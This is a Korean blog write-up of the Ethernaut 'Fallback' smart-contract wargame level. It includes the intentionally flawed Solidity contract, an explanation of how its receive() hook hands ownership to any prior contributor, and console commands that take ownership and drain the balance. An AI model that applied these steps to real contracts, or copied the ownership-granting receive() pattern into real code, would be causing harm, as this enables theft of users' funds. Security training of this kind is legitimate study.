c0mpos3r

[Ethernaut] 01. Fallback WriteUp 본문

Web3/Hacking

[Ethernaut] 01. Fallback WriteUp

음대생 2025. 8. 24. 21:32

1. 문제 분석

You know the basics of how ether goes in and out of contracts, including the usage of the fallback method.
You've also learnt about OpenZeppelin's Ownable contract, and how it can be used to restrict the usage of some methods to a privileged address.
Move on to the next level when you're ready!

 


당신은 폴백 방법의 사용을 포함하여 에테르가 계약에 들어오고 나가는 방법의 기본 사항을 알고 있습니다.

또한 OpenZeppelin의 자체 계약과 일부 방법의 사용법을 권한있는 주소로 제한하는 데 어떻게 사용될 수 있는지에 대해 배웠습니다.

준비되면 다음 단계로 이동하십시오!

1-1. code

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;

    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }

    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }

    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }

    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }

    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }

    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}

1-2. Fallback Contract 분석

상태 변수

  • mapping(address => uint256) public contributions
    주소별 기여 금액을 이더 단위로 기록. public이라 자동 getter가 생성됨.
  • address public owner
    현재 소유자 주소. 생성 시 배포자를 소유자로 설정.

생성자 동작

  • constructor()
    배포자를 owner로 지정하고, contributions[배포자] = 1000 ether로 크게 설정.
    이 값 때문에 정상 경로로는 기여 합계가 소유자의 기여액을 넘기 매우 어렵게 설계됨.

접근제어

  • modifier onlyOwner(): 호출자가 owner인지 확인. 아니면 revert.

주요 함수

  • function contribute() public payable
    전송액이 0.001 ether 미만이어야 함. ( 1000 / 0.001 = 1000000 -> 전송 가스비가 더 커짐 ) 
    호출자의 기여도를 누적하고, 누적 기여도가 현 owner의 기여도보다 커지면 owner = msg.sender.
    단, 초기 owner의 기여도가 1000 ether라 사실상 이 조건을 넘기기 현실적으로 불가능에 가깝고, 실질적인 소유권 변경 경로는 receive()
  • function withdraw() public onlyOwner
    컨트랙트 잔액 전부를 owner에게 transfer로 송금.
    transfer는 2300가스 제한이 있어 owner가 컨트랙트일 때 수신 훅이 무거우면 실패할 수 있다는 점은 참고 사항.
  • receive() external payable
    빈 calldata로 이더를 받는 기본 수신 훅.
    전송액이 양수이고, 발신자의 contributions가 양수이면 owner = msg.sender로 즉시 소유권 변경.
    이 조건이 취약점의 핵심으로, 공격자는 먼저 contribute()로 아주 소액을 기록해 둔 뒤, 빈 데이터로 이더를 보내 receive()를 발동시켜 오너를 탈취할 수 있음.

2. Solving

 

  • contribute()로 극소량 전송해 본인 contributions[msg.sender]를 require를 통과할 수 있게 만든다. 
  • 빈 데이터로 값만 보내 receive()를 호출한다.
  • 이제 owner가 공격자 주소로 바뀌었으므로 await contract.withdraw()로 전액 인출한다.

 

// 지분을 넣음 지분이 0일 때 require 조건을 참으로 만족시킴
await contract.contribute({value: toWei("0.0001") }) 

// 외부함수를 호출 함으로써 receive or fallback을 동작시킴 -> 소유권 탈취
await sendTransaction({from: player ,to: instance, value: towei("0.0000000001")})

// 권한 확인
await contract.owner() == player

// 자금을 다뺌
await contract.withdraw()

3. 결론

SmartContract 권한과 자금 흐름을 오직 명시적이고 검증 가능한 경로로만 다뤄야 하며, 값 수신 같은 암묵적 훅에 상태·권한 변화를 얹는 설계는 경제적 인센티브와 결합해 지배권과 자금을 탈취당하는 구조적 취약점이 된다.

'Web3 > Hacking' 카테고리의 다른 글

[Ethernaut] 03. Coin Flip WriteUp  (0) 2025.08.24
[Ethernaut] 02. Fallout WriteUp  (1) 2025.08.24
[Ethernaut] 00. Hello Ethernaut WriteUp  (0) 2025.08.24
[Ethernaut] 20. Denial WriteUp  (0) 2025.08.24
[Ethernaut] 21. Shop WriteUp  (0) 2025.08.20